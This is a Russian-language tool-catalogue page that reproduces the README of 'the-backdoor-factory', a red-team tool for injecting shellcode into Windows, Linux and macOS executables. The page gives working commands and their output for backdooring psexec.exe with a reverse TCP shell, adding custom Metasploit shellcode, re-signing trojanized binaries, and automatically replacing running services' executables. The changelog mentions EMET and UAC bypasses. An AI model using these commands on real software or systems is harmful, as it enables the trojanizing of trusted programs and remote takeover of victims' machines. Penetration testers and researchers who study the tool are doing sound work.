Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
the-backdoor-factory — Патч PE, ELF, Mach-O бинарных файлов с shellcode, новая версия в разработке, доступна только спонсорам | Kitploit
Инструменты/GitHubGitHub/secretsquirrel/the-backdoor-factory
ЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияАнализ вредоносных программТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Патч PE, ELF, Mach-O бинарных файлов с shellcode, новая версия в разработке, доступна только спонсорам

РепозиторийСайт
3.4k774102 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Новая версия BACKDOOR FACTORY доступна! Получить доступ здесь: https://github.com/sponsors/secretsquirrel

ПРЕДУПРЕЖДЕНИЕ: Pull Requests БУДУТ ПРОИГНОРИРОВАНЫ И ЗАКРЫТЫ.

The Backdoor Factory (BDF)

Только для специалистов по безопасности и исследователей.

Цель BDF — патчить исполняемые бинарные файлы пользовательским шеллкодом и продолжать нормальное выполнение из исходного состояния.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
Видео: https://www.youtube.com/watch?v=OuyLzkG16Uk

Статья: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
Видео: https://archive.org/details/joshpitts_shmoocon2015

Статья: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
Видео: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
Видео: http://www.youtube.com/watch?v=jXLb2RNX5xs

Демонстрация модуля инъекции: http://www.youtube.com/watch?v=04aJAex2o3U

Слайды: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Связаться с разработчиком:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Под лицензией BSD 3-Clause

Смотрите вики: https://github.com/secretsquirrel/the-backdoor-factory/wiki


Установка

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

СТАРЫЙ СПОСОБ

Зависимости

#####Чтобы использовать OnionDuke, вы ДОЛЖНЫ находиться на машине Intel, так как aPLib пока не поддерживает набор команд ARM.

Capstone engine можно установить из PyPi с помощью:

root@kitploit:~
sudo pip install capstone

Pefile, последняя версия:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (включён в репозиторий):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Установка в Kali:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

ДРУГИЕ *NIX/MAC УСТАНОВКА:

root@kitploit:~
./install.sh

Это установит Capstone с 3.01 pip и установит pefile.

ОБНОВЛЕНИЕ:

root@kitploit:~
./update.sh

Поддержка:

root@kitploit:~
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
и Mach-O x86/x64, а также эти форматы в FAT-файлах

Упакованные файлы: PE UPX x86/x64

Экспериментально: OpenBSD x32 

Некоторые исполняемые файлы имеют встроенные защиты, поэтому этот инструмент будет работать не со всеми бинарными файлами. Рекомендуется тестировать целевые бинарные файлы перед развертыванием у клиентов или использованием в упражнениях. Я на пороге обхода NSIS, так что обход этих проверок будет добавлен в будущем.

root@kitploit:~
Большое спасибо Райану О'Нилу --ryan 'at' codeslum <d ot> org--
Без него я бы до сих пор пытался делать глупые вещи 
с форматом ELF.
Также спасибо Silvio Cesare с его статьёй 1998 года 
(http://vxheaven.org/lib/vsc01.html), на которой основаны 
эти методы патчинга ELF.

Недавно протестировано на многих бинарных файлах.

./backdoor.py -h Использование: backdoor.py [опции]


##Возможности:

###PE файлы

root@kitploit:~
Может находить все код-кейвы в EXE/DLL.
По умолчанию очищает указатель на таблицу сертификатов PE, тем самым снимая подпись с бинарного файла.
Может внедрять шеллкод в код-кейвы или в новую секцию.
Может определить, нужно ли запускать PE-бинарный файл с повышенными привилегиями.
При выборе код-кейвов можно использовать следующие команды:
  -Jump (j), для прыжка по код-кейву
  -Single (s), для размещения всего шеллкода в одном кейве
  -Append (a), для создания код-кейва
  -Ignore (i или q), неважно, игнорировать этот бинарный файл
Может игнорировать DLL
Патчинг таблицы импорта
Автопатчинг (-m automtic)
Onionduke (-m onionduke)

###ELF файлы

root@kitploit:~
Расширяет TEXT SEGMENT на 1000 байт и внедряет шеллкод в эту секцию кода.

###Mach-O файлы Патчинг секции Pre-Text и удаление подписи

###В целом

root@kitploit:~
Пользователь может:
  -Предоставить свой шеллкод.
  -Патчить каталог исполняемых файлов/DLL.
  -Выбирать только x32 или x64 бинарные файлы для патчинга.
  -Включать BDF в другие проекты Python, см. pebin.py и elfbin.py

Пример использования:

###Патчинг exe/dll с использованием существующего код-кейва:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Патчинг exe/dll добавлением секции кода:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Патчинг каталога exe: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...вывод слишком длинный для README...


###Пользовательский шеллкод: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Это запустит calc.exe на целевой рабочей станции Windows. Так 1337. Много pwn. Вау.


###Подпись PE-кода

BDF может подписывать PE-файлы, если у вас есть сертификат для подписи кода. Используется osslsigncode. Поместите ваш сертификат и закрытый ключ в каталог certs/. Подготовьте сертификаты с помощью команд openssl из этой статьи в блоге: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Поместите пароль от закрытого ключа в файл (ах) следующим образом (именно так):

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

Назовите ваши сертификаты ТОЧНО следующим образом:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Ваш каталог certs/ должен выглядеть точно так:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Включите подпись PE-кода с помощью флага -C:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

При успешном запуске вы должны увидеть эту строку в выводе BDF:

root@kitploit:~
[*] Code Signing Succeeded

###Охота и бэкдор: Injector | Только Windows Модуль injector ищет целевые исполняемые файлы для бэкдора на диске. Он проверяет, определили ли вы цель как службу, проверяет, запущен ли процесс, убивает процесс и/или службу, внедряет шеллкод в исполняемый файл, сохраняет оригинальный файл как file.exe.old или с другим суффиксом по выбору, и пытается перезапустить процесс или службу. Отредактируйте словарь Python "list_of_targets" в модуле 'injector' для выбора целей.

root@kitploit:~
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###Журнал изменений

####01/11/2016

  • Исправлена ошибка усечения точки входа, которая приводила к неправильному восстановлению в редких случаях

####07/04/2016

  • Поддержка динамических путей в BDFProxy для препроцессора

####06/19/2016

  • Добавлен препроцессор и другие оптимизации
  • Препроцессор позволяет пользователю изменять бинарный файл до внедрения полезной нагрузки
  • Вызов с флагом -p
  • Примеры в ./preprocessor/

####12/20/2015

  • Добавлены пути к каталогам в BDF для поиска каталога сертификатов.

####12/18/2015

  • Добавлена поддержка подписи PE-кода. Вы должны предоставить свой собственный сертификат для подписи кода. См. здесь: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • Исправление ошибки в секции rsrc для патчинга onionduke и удаление случайного значения версии win32 в заголовке PE

####11/13/2015

  • Добавлено правильное усечение PE-файла после очистки указателя на подпись в заголовке PE — например, правильное снятие подписи. Результат: лучшая поддержка патчинга IAT

####10/19/2015

  • Исправлена ошибка в назначении код-кейва для каталога IAT, вызывавшая сбой BDF
  • Сделана опциональной с флагом -A

####10/13/2015

  • Изменены изменения каталога таблицы импорта с добавления новой секции на использование существующего код-кейва

####08/12/2015

  • Добавлен метод патча 'replace' — прямая копипаста PE из предоставленного бинарного файла

  • Больше для использования с BDFProxy

    Использование: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • Исправление стабильности для автоматического выбора код-кейва в редких случаях пересечения

####08/05/2015

  • ОБНОВЛЕНИЯ К BH USA, ура!
  • OnionDuke, используйте -m onionduke * Поддерживает пользовательские exe и dll * Использование: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • РЕЖИМ XP = предыдущие полезные нагрузки на основе IAT не поддерживали XP, Wine или Windows 98. Если вам нужна поддержка XP, используйте флаг -X. Я не поддерживаю ничего ниже XP (и не XP x64).
  • Вызов подсказки UAC для запуска от имени администратора. экспериментально — патчит манифест PE, если существует requestedExecutionLevel.
  • Обновления стабильности: * Исправлена ошибка с неправильным расчётом RVA при прыжке через 2+ код-кейва * Улучшены проверки для определения, запишет ли новая секция для IAT в добавленные данные и тем самым вызовет сбой
  • Улучшения скорости: * Более быстрое нахождение код-кейвов при использовании автоматического режима (-m automatic) * Более быстрый разбор rsrc для поиска файла манифеста

####5/01/2015

  • Исправление ошибки в полезной нагрузке reverse_tcp_stager_threaded при использовании одного код-кейва

####4/28/2015

  • Добавлена проверка на связанные импорты (PE-файлы со связанными импортами не будут пропатчены)

####4/14/2015

Очень много обновлений:

  • Автоматический патчинг для PE-файлов (используйте -m automatic с полезной нагрузкой *_threaded)

  • Новые полезные нагрузки IAT для PE x86/x64

  • Просто смотрите: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 Я люблю вас, ребята

  • Добавлен патчинг таблицы адресов импорта для PE для поддержки полезных нагрузок iat_reverse_tcp, использующих таблицу импорта для вызовов WinAPI. Если патчируемый бинарный файл не имеет LoadLibraryA и GetProcAddress, например, BDF вставит их в новую таблицу импорта в новой секции. Поддерживает PE x64/x86.

  • Добавлен iat_reverse_tcp для PE x64.

  • Исправления ошибок и улучшения

####1/1/2015

С Новым Годом!

Две новые полезные нагрузки для OS X! Задержка: delay_reverse_shell_tcp

-B 30 --> задержка полезной нагрузки на 30 секунд, основной код выполняется сразу.

Установка фиксированного коммита Capstone для сборки в BDF, репозиторий Capstone 'Next' ломает BDF.

Исправления для поддержки проблемы с обрезанием нулевых байтов в реализации Capstone на Cython

####12/27/2014

Добавлен payloadtests.py

Этот скрипт выведет пропатченные файлы в backdoored, что позволит пользователю тестировать полезные нагрузки по своему усмотрению. Каждый тип полезной нагрузки увеличивает используемый порт на единицу.

root@kitploit:~
Использование: payloadtest.py binary HOST PORT

####12/17/2014

Полезные нагрузки с маячком для OS X x86 и x64: beaconing_reverse_shell_tcp

-B 15 --> установить время маячка на 15 сек

Исправление ошибки для поддержки OS X в BDFProxy

####10/11/2014

Добавлен патчинг PE UPX

####9/26/2014

Добавлены Mach-O x86/x64

Оптимизация полезной нагрузки IAT для x86

####7/31/2014

Добавлена поддержка патчинга ARM x32 LE ELF

####7/22/2014

Добавлена поддержка патчинга FreeBSD x32 ELF

Изменение на лицензию BSD 3-Clause

####7/13/2014

Интегрирован Capstone: http://www.capstone-engine.org/

В процессе добавления Capstone я удалил около 500 строк кода. Это довольно круто.

Переименовал loadliba_reverse_tcp в iat_reverse_tcp.

Небольшие оптимизации для скорости.

####5/30/2014

Добавлена новая полезная нагрузка для win86: loadliba_reverse_tcp

  • Основана на следующем исследовании Джареда ДеМотта: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Спасибо @bannedit0 за упоминание.
  • Эта полезная нагрузка использует API LoadLibraryA и GetProcAddress для поиска всех необходимых API для обратного TCP-соединения. Больше не используется поиск по хешу API Стивена Феуэрса (который всё ещё блестящий).
  • Она не скрытная. Она зависит от позиции. Но результаты отличные (прыжки по код-кейву): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • Обходит EMET 4.1. Защита вызывающего не ловит её.
  • В связи с этим, я продолжу развивать эту идею с алгоритмом, который патчит бинарный файл пользовательским шеллкодом на основе API, находящихся в IAT. Включая портирование текущих шеллкодов win86 на эту идею.
Скачать инструмент